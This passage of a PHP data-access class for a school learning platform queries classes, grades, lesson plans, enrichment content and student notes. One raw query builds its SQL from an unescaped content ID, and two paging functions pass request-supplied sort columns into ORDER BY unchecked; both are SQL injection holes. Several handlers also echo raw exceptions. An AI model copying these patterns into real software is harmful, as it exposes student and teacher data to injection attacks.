        $updateData['CLASS_DESC'] = $postData['CLASS_DESC'];
        $updateData['GRADE_ID'] = $postData['GRADE_ID'];
        $updateData['TEACHER_ID'] = $postData['TEACHER_ID'];
        $classId = $postData['CLASS_ID'];
        $this->table = $this->initTableObject('t_b2c_cm_cnf_class');
        $this->table->update($updateData, array(
            'CLASS_ID' => $classId,
        ));
        return $update;
    }

    //delete class from t_b2c_cm_cnf_class  by classId
    function deleteClass($classId) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_class');
        $this->table->delete(array('CLASS_ID' => $classId));
        return 1;
    }

    // Get All Subject Assigned to teacher
    function getTeacherAssignedSubjects($user_id) {

        $this->table = $this->initTableObject('t_b2c_usr_assign');
        $select = $this->table->getSql()->select();
        $select->columns(array('SUBJECT_ID'));
        $select->where(array('USER_OID' => $user_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $array = array();
        if (count($data)) {
            foreach ($data as $val) {
                $array[] = $val['SUBJECT_ID'];
            }
        }
        return $array;
    }

    // Get All Class Assigned to teacher
    //getTeacherAssignedClass
    function getTeacherAssignedGradeDetails($user_id) {

        //$teacherSubjects = $this->getTeacherAssignedSubjects($user_id);

        $this->table = $this->initTableObject('t_b2c_usr_assign');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.SUBJECT_ID = t_b2c_usr_assign.SUBJECT_ID', array('SUBJECT_ID'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_mgr_subject.GRADE_ID', array('GRADE_ID', 'GRADE_NAME'));

        $select->where(array('t_b2c_usr_assign.USER_OID' => $user_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    /**
      Get Lesson Plan data with id or all and
      created By
      and other conditions
     */
    function getContentData($subjectId) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_curriculum_outline');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_cont_cat', ' t_b2c_cm_cont_cat.CAT_ID = t_b2c_cm_mgr_curriculum_outline.CAT_ID', array('CAT_ID'));
        $select->join('t_b2c_cm_cnf_content', 't_b2c_cm_cnf_content.CONT_ID = t_b2c_cm_cont_cat.CONT_ID');
        $select->where(array('t_b2c_cm_mgr_curriculum_outline.SUBJECT_ID' => $subjectId));
        $resultSet = $this->table->selectWith($select);
//         $sql = $this->table->getSql();
//echo $sql->getSqlstringForSqlObject($select); die ;
//die;
        $data = $resultSet->toarray();
        return $data;
    }

    public function searchEnrichmentContent($lpId = '', $contentTypeId = '', $searchkey = '', $start, $length) {
        $enrichredContentList = array();
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->columns(['*']);
        $select->join('t_cm_cnf_conttype', 't_cm_cnf_conttype.CONTTYPE_ID = t_b2c_cm_cnf_content.CONTTYPE_ID', array('CONT_TYPE'));
        if (!empty($lpId)) {
            $select->join('t_b2c_cm_lessonplan_master', 't_b2c_cm_lessonplan_master.LESSONPLAN_ID = t_b2c_cm_cnf_content.LESSONPLAN_ID', array('SUBJECT_ID'));
        }
        //$select->join('t_cm_lessonplan_content', 't_cm_lessonplan_content.CONT_ID = t_cm_cnf_content.CONT_ID', array());
        //$select->join('t_cm_lessonplan_master', 't_cm_lessonplan_master.LESSONPLAN_ID = t_cm_lessonplan_content.LESSONPLAN_ID', array('SUBJECT_ID'));


        $conditions['ENRICHMENT_FLAG'] = 'Y';
        $conditions['IS_PUBLISH'] = 'Y';



        if (!empty($lpId)) {
            $conditions['t_b2c_cm_lessonplan_master.LESSONPLAN_ID'] = $lpId;
        }



        $select->where($conditions);
        if (!empty($contentTypeId)) {

            $select->where(array('t_cm_cnf_conttype.CONTTYPE_ID' => $contentTypeId));
            //$conditions['CONTTYPE_ID'] = $contentTypeId;   
        }
        if (!empty($searchkey)) {
            $select->where->nest
                            ->like('t_b2c_cm_cnf_content.CONT_TITLE', '%' . $searchkey . '%')
                            ->or
                            ->like('t_b2c_cm_cnf_content.CONT_DESC', '%' . $searchkey . '%')
                            ->or
                            ->like('t_cm_cnf_conttype.CONT_TYPE', '%' . $searchkey . '%')
                    ->unnest;
        }
        $select->order('t_b2c_cm_cnf_content.CONT_ID DESC');

        if (isset($length))
            $select->limit((int) $length);
        if (isset($start))
            $select->offset((int) $start);

//         $sql = $this->table->getSql(); 

        $enrichredContentList = $this->table->selectWith($select)->toarray();

        return $enrichredContentList;
    }

    function getContType($cont_type_id) {

        $this->table = $this->initTableObject('t_cm_cnf_conttype');
        $select = $this->table->getSql()->select();
        $select->columns(array('CONT_TYPE'));
        $select->where(array('CONTTYPE_ID' => $cont_type_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['CONT_TYPE'])) {
            return $data[0]['CONT_TYPE'];
        }
        return false;
    }

    function enrichmentContent($pagingData) {
        try {
            $length = intval(!empty($pagingData['LENGTH']) ? $pagingData['LENGTH'] : null);
            $start = intval(!empty($pagingData['START']) ? $pagingData['START'] : null);
            $searchKey = !empty($pagingData['SEARCH']) ? $pagingData['SEARCH'] : null;
            $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
            $select = $this->table->getSql()->select();
            $select->join('t_cm_cnf_conttype', 't_cm_cnf_conttype.CONTTYPE_ID = t_b2c_cm_cnf_content.CONTTYPE_ID', array('CONT_TYPE'));
            $select->where(array('t_b2c_cm_cnf_content.IS_PUBLISH' => 'Y'));
            $select->where(array('t_b2c_cm_cnf_content.ENRICHMENT_FLAG' => 'Y'));

            if (!empty($pagingData['USER_OID'])) {
                //$select->where(array('t_usr_user.USER_OID' => $pagingData['USER_OID']));
            }
            if (!empty($searchKey)) {
                $select->where->nest
                                ->like('t_b2c_cm_cnf_content.CONT_TITLE', '%' . $searchKey . '%')
                                ->or
                                ->like('t_b2c_cm_cnf_content.CONT_DESC', '%' . $searchKey . '%')
                        ->unnest;
            }

            //sorting...
            if (!empty($pagingData['COLUMN'])) {
                $select->order('' . $pagingData['COLUMN'] . ' ' . $pagingData['ORDER'] . '');
            }

            if (!empty($length)) {
                $select->limit($length);
            }
            if (!empty($start)) {
                $select->offset($start);
            }
            $resultSet = $this->table->selectWith($select);
            return $resultSet->toarray();
        } catch (Exception $ex) {
            echo $ex;
            die;
        }
    }

    function enrichmentContentCount($pagingData) {
        try {
            $length = intval(!empty($pagingData['LENGTH']) ? $pagingData['LENGTH'] : null);
            $start = intval(!empty($pagingData['START']) ? $pagingData['START'] : null);
            $searchKey = !empty($pagingData['SEARCH']) ? $pagingData['SEARCH'] : null;
            $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
            $select = $this->table->getSql()->select();
            $select->join('t_cm_cnf_conttype', 't_cm_cnf_conttype.CONTTYPE_ID = t_b2c_cm_cnf_content.CONTTYPE_ID', array('CONT_TYPE'));
            $select->where(array('t_b2c_cm_cnf_content.IS_PUBLISH' => 'Y'));
            $select->where(array('t_b2c_cm_cnf_content.ENRICHMENT_FLAG' => 'Y'));

            if (!empty($pagingData['USER_OID'])) {
                //$select->where(array('t_usr_user.USER_OID' => $pagingData['USER_OID']));
            }
            if (!empty($searchKey)) {
                $select->where->nest
                                ->like('t_b2c_cm_cnf_content.CONT_TITLE', '%' . $searchKey . '%')
                                ->or
                                ->like('t_b2c_cm_cnf_content.CONT_DESC', '%' . $searchKey . '%')
                        ->unnest;
            }

            //sorting...
            if (!empty($pagingData['COLUMN'])) {
                $select->order('' . $pagingData['COLUMN'] . ' ' . $pagingData['ORDER'] . '');
            }
            $resultSet = $this->table->selectWith($select);
            return $resultSet->count();
        } catch (Exception $ex) {
            echo $ex;
            die;
        }
    }

    function getLessonPlanData($cond = null, $user_ids = null) {


        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $select = $this->table->getSql()->select();

        if (!empty($cond['LP_ID'])) {
            $select->where(array('t_b2c_cm_lessonplan_master.LESSONPLAN_ID' => $cond['LP_ID']));
        }

//        if (!empty($cond['CREATED_BY'])) {
//            $select->where(array('t_b2c_cm_lessonplan_master.CREATED_BY' => $cond['CREATED_BY']));
//        }


        if (!empty($cond['grade_id'])) {
            $select->where(array('t_b2c_cm_lessonplan_master.GRADE_ID' => $cond['grade_id']));
        }

        if (!empty($cond['subject_id'])) {
            $select->where(array('t_b2c_cm_lessonplan_master.SUBJECT_ID' => $cond['subject_id']));
            $select->order(array('t_b2c_cm_lessonplan_master.LP_POSITION ASC'));
        } else {
            $select->order('t_b2c_cm_lessonplan_master.LP_POSITION ASC');
        }

        /** get required data by lesson-plain-id with position. */
        if (!empty($cond['LP_ST_POSITION'])) {
            $select->where->lessThanOrEqualTo('t_b2c_cm_lessonplan_master.LP_POSITION', $cond['LP_ST_POSITION']);
            $resultSet = $this->table->selectWith($select);
            return $resultSet->toarray();
        }

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $newarray = array();
        if (count($data)) {
            foreach ($data as $val) {

                $contentList = $this->getContentListByLpId($val['LESSONPLAN_ID'], 'all');
                if (count($contentList)) {
                    $val['CONTENT_DATA'] = $contentList;
                }
                //$grade_batch_id = $this->getGradeBatchIdByCgbId($val['CGB_ID']);
                $getPrerequisite = $this->getPrerequisite($val['LESSONPLAN_ID']);
                $val['PREREQUISITE'] = count($getPrerequisite);
                //$val['GRADE_BATCH_ID'] = $grade_batch_id['GRADE_BATCH_ID']; 
                $newarray[] = $val;
            }
        }

        return $newarray;
    }

    //get content detail by  content id
    public function getContentByContentId($content_id, $createdBy = null) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->join('t_cm_cnf_conttype', 't_cm_cnf_conttype.CONTTYPE_ID = t_b2c_cm_cnf_content.CONTTYPE_ID', array('CONT_TYPE'));
        $select->where(array('t_b2c_cm_cnf_content.CONT_ID' => $content_id));
        if (!empty($createdBy)) {
            $select->where(array('t_b2c_cm_cnf_content.CREATED_BY' => $createdBy));
        }
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0])) {
            $ContCatIdsArr = $this->getTopicIdsByContId($content_id);
            $catIds = (!empty($ContCatIdsArr)) ? implode(',', $ContCatIdsArr) : '';
            $data[0]['TOPIC_IDS'] = $catIds;
            return $data[0];
        }
        return array();
    }

    public function getContentBySubjectId($id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_master_test', 't_b2c_master_test.CONT_ID = t_b2c_cm_cnf_content.CONT_ID', ['QUIZ_TYPE'], 'LEFT');
        $select->join('t_b2c_cm_lessonplan_master', 't_b2c_cm_lessonplan_master.LESSONPLAN_ID = t_b2c_cm_cnf_content.LESSONPLAN_ID', ['LP_NAME', 'SUBJECT_ID'], 'left');
        $select->where(array('t_b2c_cm_lessonplan_master.SUBJECT_ID' => $id));
        if (empty($publish)) {
            $select->where(array('t_b2c_cm_cnf_content.IS_PUBLISH' => 'Y', 't_b2c_cm_cnf_content.STATUS' => 'A'));
            $master_test_table = $this->initTableObject('t_b2c_master_test');
            $sub_select = $master_test_table->getSql()->select();
            $sub_select->columns(['CONT_ID']);
            $sub_select->where(['QUIZ_TYPE' => 'PT']);
            $select->where->notIn('t_b2c_cm_cnf_content.CONT_ID', $sub_select);
        }
        $select->order('t_b2c_cm_cnf_content.CONT_ORDER ASC');

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    public function getContentsByLpid($id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_master_test', 't_b2c_master_test.CONT_ID = t_b2c_cm_cnf_content.CONT_ID', ['QUIZ_TYPE'], 'LEFT');
        $select->join('t_b2c_cm_lessonplan_master', 't_b2c_cm_lessonplan_master.LESSONPLAN_ID = t_b2c_cm_cnf_content.LESSONPLAN_ID', ['LP_NAME', 'SUBJECT_ID'], 'left');
        $select->where(array('t_b2c_cm_cnf_content.LESSONPLAN_ID' => $id));
        if (empty($publish)) {
            $select->where(array('t_b2c_cm_cnf_content.IS_PUBLISH' => 'Y', 't_b2c_cm_cnf_content.STATUS' => 'A'));
            $master_test_table = $this->initTableObject('t_b2c_master_test');
            $sub_select = $master_test_table->getSql()->select();
            $sub_select->columns(['CONT_ID']);
            $sub_select->where(['QUIZ_TYPE' => 'PT']);
            $select->where->notIn('t_b2c_cm_cnf_content.CONT_ID', $sub_select);
        }
        $select->order('t_b2c_cm_cnf_content.CONT_ORDER ASC');

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    //get user details
    function getTopicIdsByContId($contId) {
        $query = "select CAT_ID from t_b2c_cm_cont_cat where CONT_ID = '$contId' ";
        $resultSet = $this->adapter->query($query, Adapter::QUERY_MODE_EXECUTE);
        $retArr = $resultSet->toarray();

        $tpics = array();
        if (count($retArr)) {
            foreach ($retArr as $val) {
                $tpics[] = $val['CAT_ID'];
            }
        }

        return $tpics;
    }

    //get lessonplan_id  by  content id
    public function getLessonplanIdByContentId($content_id) {

        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->columns(array('LESSONPLAN_ID'));
        $select->where(array('CONT_ID' => $content_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        if (!empty($data[0]['LESSONPLAN_ID'])) {
            return $data[0]['LESSONPLAN_ID'];
        }
        return 0;
    }

    // Get All grade of user 
    public function getAllGrade($user_oid) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', array('SUBJECT_NAME', 'SUBJECT_IMAGE'));
        $select->join('t_b2c_usr_subscription', 't_b2c_usr_subscription.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array('*'));
        $select->where(array('t_b2c_usr_subscription.USER_OID' => $user_oid));
        $select->group('t_b2c_usr_subscription.SUBJECT_ID');
        //$sql = $this->table->getSql();
        //echo $sql->getSqlstringForSqlObject($select); die ;
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;


//        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
//        $select = $this->table->getSql()->select();
//        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', array('SUBJECT_NAME', 'SUBJECTID' => 'SUBJECT_ID'));
//        $select->join('t_b2c_usr_subscription', 't_b2c_usr_subscription.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID  or t_b2c_usr_subscription.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', array('*'));
//        $select->where(array('t_b2c_usr_subscription.USER_OID' => $user_oid));
//        $select->group('t_b2c_usr_subscription.SUBJECT_ID');
//        //$select->group('t_b2c_cm_mgr_grade.GRADE_ID');
////        $sql = $this->table->getSql();
////        echo $sql->getSqlstringForSqlObject($select); die ;
//        $resultSet = $this->table->selectWith($select);
//        $data = $resultSet->toarray();
//        return $data;
    }

    // Get All content of user 
    public function getAllContent($user_oid, $start = 0, $end = null) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_usr_subscription', 't_b2c_usr_subscription.CONT_ID = t_b2c_cm_cnf_content.CONT_ID', array('*'));
        $select->where(array('t_b2c_usr_subscription.USER_OID' => $user_oid));


// $sql = $this->table->getSql();
//echo $sql->getSqlstringForSqlObject($select); die ;

        if (!empty($start)) {
            $select->offset((int) $start);
        }
        if (!empty($end)) {
            $select->limit((int) $end);
        }
        //echo $select->getSqlstring();
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        //echo "<pre>";print_r($data);
        return $data;
    }

    // Get All grade of user 
    public function getStudentGrades($user_oid, $org_id) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID', 'GRADE_NAME'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', array('SUBJECT_NAME'));
        $select->join('t_b2c_usr_enrollment', 't_b2c_usr_enrollment.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array('ENROLLMENT_NUM'));
        $select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $org_id));
        $select->where(array('t_b2c_usr_enrollment.USER_OID' => $user_oid));

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $array = array();
        if (count($data)) {
            foreach ($data as $val) {
                $array[] = $val["GRADE_ID"];
            }
        }
        return array_unique($array);
    }

    // Get All grade of teacher
    public function getTeacherGrades($user_oid, $org_id) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_ID', 'GRADE_NAME'));
        $select->join('t_b2c_cm_mgr_subject', 't_b2c_cm_mgr_subject.GRADE_ID = t_b2c_cm_mgr_grade.GRADE_ID', array('SUBJECT_NAME'));
        $select->join('t_b2c_usr_assign', 't_b2c_usr_assign.SUBJECT_ID = t_b2c_cm_mgr_subject.SUBJECT_ID', array('SUBJECT_ID'));
        $select->where(array('t_b2c_cm_mgr_grade.ORG_ID' => $org_id));
        $select->where(array('t_b2c_usr_assign.USER_OID' => $user_oid));

        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $array = array();
        if (count($data)) {
            foreach ($data as $val) {
                $array[] = $val["GRADE_ID"];
            }
        }
        return array_unique($array);
    }

    // Get All grade of user 
    public function getGradeClassByGradeId($user_oid, $org_id, $grade_id) {
        $this->table = $this->initTableObject('t_b2c_usr_enrollment');
        $select = $this->table->getSql()->select();
        $select->columns(array('USER_ENROLL_ID', 'ENROLLMENT_NUM', 'CLASS_ID', 'ROLL_NUM'));
        $select->join('t_b2c_cm_cnf_class', 't_b2c_cm_cnf_class.CLASS_ID = t_b2c_usr_enrollment.CLASS_ID', array('CLASS_NAME'));
        $select->join('t_b2c_cm_mgr_grade', 't_b2c_cm_mgr_grade.GRADE_ID = t_b2c_cm_cnf_class.GRADE_ID', array('GRADE_NAME', 'GRADE_ID'));
        $select->join('t_b2c_cm_cnf_batch', 't_b2c_cm_cnf_batch.BATCH_ID = t_b2c_cm_mgr_grade.BATCH_ID', array('BATCH'));
        $select->where(array('t_b2c_cm_cnf_batch.ORG_ID' => $org_id));
        $select->where(array('t_b2c_usr_enrollment.USER_OID' => $user_oid));
        $select->where(array('t_b2c_cm_mgr_grade.GRADE_ID' => $grade_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    //get content Type by lesson plan
    public function getContentType($lession_plan_id) {
        $this->table = $this->initTableObject('t_cm_cnf_conttype');
        $select = $this->table->getSql()->select();
        $select->columns(array('CONT_TYPE'));
        $select->join('t_b2c_cm_cnf_content', 't_b2c_cm_cnf_content.CONTTYPE_ID = t_cm_cnf_conttype.CONTTYPE_ID', array('CONTTYPE_ID'));
        $select->where(array('t_b2c_cm_cnf_content.LESSONPLAN_ID' => $lession_plan_id));
        $select->group('t_b2c_cm_cnf_content.CONTTYPE_ID');
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $newarr = array();
        if (count($data)) {
            foreach ($data as $val) {
                //$newarr[] = $val['CONT_TYPE'];

                $contentList = $this->getContentList($lession_plan_id, $val['CONTTYPE_ID']);
                if (count($contentList)) {
                    foreach ($contentList as $val2) {
                        $newarr[$val['CONT_TYPE']]['CONT_ID'][] = $val2['CONT_ID'];
                        $newarr[$val['CONT_TYPE']]['CONT_TITLE'][] = $val2['CONT_TITLE'];
                    }
                }
            }
        }
        return $newarr;
    }

//admin id by org id
    function getadminIdsByOrgId($orgId, $userId) {
        $this->table = $this->initTableObject('t_usr_user');
        $select = $this->table->getSql()->select();
        $select->columns(array('USER_OID'));
        $select->where(array('ORG_ID' => $orgId));
        $select->where(array('UT_ID' => 5));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        $newarr = array();
        if (count($data)) {
            foreach ($data as $key => $val) {
                $newarr[$key] = $val['USER_OID'];
            }
        }
        $newarr[$key + 1] = $userId;
        return $newarr;
    }

    //users id by org id
    function getuserIdsByOrgId($orgId) {
        $this->table = $this->initTableObject('t_usr_user');
        $select = $this->table->getSql()->select();
        $select->columns(array('USER_OID'));
        $select->where(array('ORG_ID' => $orgId));
        $select->where->nest->equalTo('UT_ID', 2)
                ->or->equalTo('UT_ID', 5)->unnest;
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();

        $newarr = array();
        if (count($data)) {
            foreach ($data as $key => $val) {
                $newarr[$key] = $val['USER_OID'];
            }
        }

        return $newarr;
    }

    /**
     * @desc used to get only GT test with all other content types OR all content types.
     * @param integer $lession_plan_id
     * @param string $publish
     * @return array
     */
    public function getContentListByLpId($lession_plan_id, $publish = null) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->join('t_b2c_master_test', 't_b2c_master_test.CONT_ID = t_b2c_cm_cnf_content.CONT_ID', ['QUIZ_TYPE'], 'LEFT');
        $select->where(array('LESSONPLAN_ID' => $lession_plan_id));
        if (empty($publish)) {
            $select->where(array('t_b2c_cm_cnf_content.IS_PUBLISH' => 'Y', 't_b2c_cm_cnf_content.STATUS' => 'A'));
            $master_test_table = $this->initTableObject('t_b2c_master_test');
            $sub_select = $master_test_table->getSql()->select();
            $sub_select->columns(['CONT_ID']);
            $sub_select->where(['QUIZ_TYPE' => 'PT']);
            $select->where->notIn('t_b2c_cm_cnf_content.CONT_ID', $sub_select);
        }
        $select->order('t_b2c_cm_cnf_content.CONT_ORDER ASC');
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    public function getContentList($lession_plan_id, $conttype_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $select = $this->table->getSql()->select();
        $select->columns(array('CONT_ID', 'CONT_TITLE'));
        $select->where(array('LESSONPLAN_ID' => $lession_plan_id, 'CONTTYPE_ID' => $conttype_id, 'STATUS' => 'A'));
        $select->order('CONT_ID DESC');
        $resultSet = $this->table->selectWith($select);

        $data = $resultSet->toarray();
        return $data;
    }

    // get requirement list 
    public function getRequirementList($lession_plan_id) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_requirement');
        $select = $this->table->getSql()->select();

        $select->where(array('LESSONPLAN_ID' => $lession_plan_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    //add Lesson plan content [ALL TYPES]
    function addLPContent($postData) {

        //$postData['IS_PUBLISH'] = ($postData['CONTTYPE_ID'] == 9) ? 'N' : 'Y';
        //$postData['STATUS']     = ($postData['CONTTYPE_ID'] == 9) ? 'I' : 'A';
        $arrData['CREATED_ON'] = date('Y-m-d H:i:s');
        $arrData['CONT_TITLE'] = $postData['CONT_TITLE'];
        $arrData['CONT_DESC'] = $postData['CONT_DESC'];
        //if(!empty($postData['TEBIAN_REF_ID']))$arrData['TEBIAN_REF_ID'] = $postData['TEBIAN_REF_ID'];

        if (!empty($postData['LESSONPLAN_ID']))
            $arrData['LESSONPLAN_ID'] = $postData['LESSONPLAN_ID'];

        if (!empty($postData['BACKING_FILE']))
            $arrData['BACKING_FILE'] = $postData['BACKING_FILE'];


        if (!empty($postData['BOOK_COVERIMG']))
            $arrData['BOOK_COVERIMG'] = $postData['BOOK_COVERIMG'];
        if (!empty($postData['BOOK_HASH']))
            $arrData['BOOK_HASH'] = $postData['BOOK_HASH'];
        if (!empty($postData['PAGE_COUNT']))
            $arrData['PAGE_COUNT'] = $postData['PAGE_COUNT'];
        if (!empty($postData['ANNOTATION_SET_ID']))
            $arrData['ANNOTATION_SET_ID'] = $postData['ANNOTATION_SET_ID'];
        if (!empty($postData['ENRICHMENT_FLAG']))
            $arrData['ENRICHMENT_FLAG'] = $postData['ENRICHMENT_FLAG'];
        if (!empty($postData['VIDEO_PREVIEW']))
            $arrData['VIDEO_PREVIEW'] = $postData['VIDEO_PREVIEW'];
        if (!empty($postData['CONT_PRICE']))
            $arrData['CONT_PRICE'] = $postData['CONT_PRICE'];

        if (!empty($postData['ATB_PREVIEW']))
            $arrData['ATB_PREVIEW'] = $postData['ATB_PREVIEW'];
        if (!empty($postData['NO_OF_DAYS']))
            $arrData['NO_OF_DAYS'] = $postData['NO_OF_DAYS'];

        if (!empty($postData['PAID']))
            $arrData['PAID'] = $postData['PAID'];


        if (!empty($postData['FILE_UID']))
            $arrData['FILE_UID'] = $postData['FILE_UID'];

        if (!empty($postData['SCORM_COURSE_ID']))
            $arrData['SCORM_COURSE_ID'] = $postData['SCORM_COURSE_ID'];

        if (!empty($postData['CONT_SRC']))
            $arrData['CONT_SRC'] = $postData['CONT_SRC'];
        if (!empty($postData['CREATED_BY'])) {
            $arrData['CREATED_BY'] = $postData['CREATED_BY'];
        } else {
            $arrData['CREATED_BY'] = 1;
        }
        $arrData['ENRICHMENT_FLAG'] = $postData['ENRICHMENT_FLAG'];
        $arrData['CONTTYPE_ID'] = $postData['CONTTYPE_ID'];
        $arrData['CONT_IMAGE'] = !empty($postData['CONT_IMAGE']) ? $postData['CONT_IMAGE'] : null;

        //echo '<pre>';print_r($postData);die;
        $arrData['CONT_ORDER'] = $this->getContentCountByLpId($postData['LESSONPLAN_ID']);
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');

        $this->table->insert($arrData);
        return $this->table->lastInsertValue;
    }

    function addLpData($postData) {
        $this->table = $this->initTableObject('t_b2c_cm_lessonplan_master');
        $this->table->insert($postData);
        return $this->table->lastInsertValue;
    }

    //add Lesson plan content [ALL TYPES]
    function saveScorm($postData) {

        if ($postData['ENRICHMENT_FLAG'] == 'N') {
            $postData['CONT_ORDER'] = $this->getContentCountByLpId($postData['LESSONPLAN_ID']);
            $postData['ENRICHMENT_FLAG'] = 'N';
        } else {
            $postData['ENRICHMENT_FLAG'] = 'Y';
        }

        $postData['CONT_IMAGE'] = !empty($postData['CONT_IMAGE']) ? $postData['CONT_IMAGE'] : null;
        $postData['ENRICHMENT_FLAG'] = !empty($postData['ENRICHMENT_FLAG']) ? $postData['ENRICHMENT_FLAG'] : null;
        $postData['CONT_PRICE'] = !empty($postData['CONT_PRICE']) ? $postData['CONT_PRICE'] : null;
        $postData['LESSONPLAN_ID'] = !empty($postData['LESSONPLAN_ID']) ? $postData['LESSONPLAN_ID'] : '';
        $postData['CONT_ORDER'] = !empty($postData['CONT_ORDER']) ? $postData['CONT_ORDER'] : '';
        $postData['CONTTYPE_ID'] = 10;
        $postData['PAID'] = $postData['PAID'];
        //print_r($postData); die;
        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $this->table->insert($postData);

        return $this->table->lastInsertValue;
    }

    // Save Note By User on content 
    function saveNote($data) {
        $this->table = $this->initTableObject('t_b2c_usr_contnote');
        $this->table->insert($data);
        return $this->table->lastInsertValue;
    }

    // get Note By User on content 
    function getNote($user_oid, $cont_id) {
        $this->table = $this->initTableObject('t_b2c_usr_contnote');
        $select = $this->table->getSql()->select();
        $select->where(array('USER_OID' => $user_oid, 'CONT_ID' => $cont_id));
        $select->order('CONTNOTE_ID DESC');
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();

        //echo "<pre />"; print_r($data); exit;	
        return $data;
    }

    function removeNote($noteId, $type) {
        if ($type == 'N') {
            $postData['IS_DELETED'] = 'Y';
        } else {
            $postData['IS_DELETED'] = 'N';
        }

        $this->table = $this->initTableObject('t_b2c_usr_contnote');
        $this->table->update($postData, array(
            'CONTNOTE_ID' => $noteId,
        ));
        return 1;
    }

    //add Lesson plan content [ALL TYPES]
    function editLPContent($postData, $contentId) {
        //$postData['IS_PUBLISH'] = ($postData['CONTTYPE_ID'] == 9) ? 'N' : 'Y';
        //$postData['STATUS']     = ($postData['CONTTYPE_ID'] == 9) ? 'I' : 'A';
        $postData['UPDATED_ON'] = date('Y-m-d H:i:s');

        //echo $contentId.'<pre>';print_r($postData);die;

        $this->table = $this->initTableObject('t_b2c_cm_cnf_content');
        $this->table->update($postData, array(
            'CONT_ID' => $contentId,
        ));
        return 1;
    }

    // get grade name by grade id 
    function getGardeName($grade_id) {
        $this->table = $this->initTableObject('t_b2c_cm_mgr_grade');
        $select = $this->table->getSql()->select();
        $select->columns(array('GRADE_NAME'));
        $select->where(array('GRADE_ID' => $grade_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return (!empty($data[0]['GRADE_NAME'])) ? $data[0]['GRADE_NAME'] : '';
    }

    // get batch name by batch id 
    function getBatchName($batch_id, $org_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_batch');
        $select = $this->table->getSql()->select();
        $select->columns(array('BATCH'));
        $select->where(array('BATCH_ID' => $batch_id, 'ORG_ID' => $org_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return (!empty($data[0]['BATCH'])) ? $data[0]['BATCH'] : '';
    }

    // get Batch list by grade id 
    function getBatch($org_id) {
        $this->table = $this->initTableObject('t_b2c_cm_cnf_batch');
        $select = $this->table->getSql()->select();
        $select->columns(array('BATCH_ID', 'BATCH'));
        $select->where(array('ORG_ID' => $org_id));
        $resultSet = $this->table->selectWith($select);
        $data = $resultSet->toarray();
        return $data;
    }

    function getgradeidlist() {
